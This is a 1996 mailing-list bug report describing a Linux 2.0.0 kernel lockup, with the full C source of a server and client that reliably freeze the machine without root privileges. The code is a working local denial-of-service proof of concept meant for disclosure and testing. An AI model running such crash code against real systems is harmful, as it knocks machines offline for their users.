Recipe for disaster

Michiel Boland (boland@sci.kun.nl)
Tue, 25 Jun 1996 22:12:57 +0200


Bad news, I'm afraid.

Here is a program that locks up any Linux 2.0.0 machine with
100% guarantee. Well, it did lock up my machine every time I
tried it. (about 16 times now)

Well, actually it's two programs, a server and a client. The
recipe is simple: start the server, run the client and presto.

Please test this out, and tell me if the crash also occurs on
your machine. To be safe, boot into single-user mode, set up the
loopback network, and then run the server & client. (If you
foul up your filesystems then that's your fault, not mine.)

You do not need to be root to cause this crash.

I don't know what's wrong, except that of course the client
should close the socket. But I would not think that bad code
such as this should actually lock up a machine.

Pressing shift-ScrollLock several times reveals that the kernel
is apparently in some sort of network buffer allocating loop.

The crash occurs with at least four different kernels. For what
it's worth, it also happens with 1.99.8 and 1.99.12. It does not
happen with 1.2.13 (with 1.2, the client is blocked forever when
it calls connect() the 2nd time).

--------------------------------
server.c
--------------------------------
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int n, o, s;
struct sockaddr_in sa;

void main(void)
{
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
o = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *) &o, sizeof o);
memset(&sa, 0, sizeof sa);
sa.sin_family = AF_INET;
sa.sin_port = htons(8080);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(s, (struct sockaddr *) &sa, sizeof sa) == -1)
return;
if (listen(s, 128) == -1)
return;
while (1) {
o = sizeof sa;
if ((n = accept(s, (struct sockaddr *) &sa, &o)) == -1)
return;
close(n);
}
}
--------------------------------
client.c
--------------------------------
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int n, o, s;
struct sockaddr_in sa;

void main(void)
{
n = 2;
while (--n >= 0) {
sleep(1);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
o = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *) &o, sizeof o);
memset(&sa, 0, sizeof sa);
sa.sin_family = AF_INET;
sa.sin_port = htons(8081);
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (bind(s, (struct sockaddr *) &sa, sizeof sa) == -1)
return;
memset(&sa, 0, sizeof sa);
sa.sin_family = AF_INET;
sa.sin_port = htons(8080);
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (struct sockaddr *) &sa, sizeof sa) == -1)
return;
#if 0
close(s);
#endif
}
}

-- 
Michiel Boland <boland@sci.kun.nl>
University of Nijmegen
The Netherlands